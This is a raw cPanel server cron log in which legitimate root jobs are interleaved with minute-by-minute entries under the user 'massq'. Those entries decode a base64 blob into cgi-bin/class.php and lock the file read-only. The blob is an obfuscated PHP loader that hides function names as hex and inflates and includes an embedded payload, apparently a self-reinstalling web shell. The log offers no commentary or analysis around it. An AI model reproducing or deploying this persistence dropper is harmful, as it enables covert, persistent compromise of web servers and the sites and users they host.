Nov 10 03:19:01 server CROND[15415]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:20:01 server CROND[16231]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 03:20:01 server CROND[16230]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 03:20:01 server CROND[16232]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 03:20:01 server CROND[16235]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 03:20:01 server CROND[16236]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:21:01 server CROND[17115]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:22:01 server CROND[17951]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:23:01 server CROND[18756]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:24:01 server CROND[19663]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:25:01 server CROND[20541]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 03:25:01 server CROND[20540]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:25:01 server CROND[20542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 03:26:01 server CROND[21414]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:27:01 server CROND[22221]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 03:27:01 server CROND[22222]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Nov 10 03:27:01 server CROND[22223]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:28:01 server CROND[23043]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:29:01 server CROND[23863]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:30:02 server CROND[24814]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 03:30:02 server CROND[24816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 03:30:02 server CROND[24817]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 03:30:02 server CROND[24818]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:31:01 server CROND[25250]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
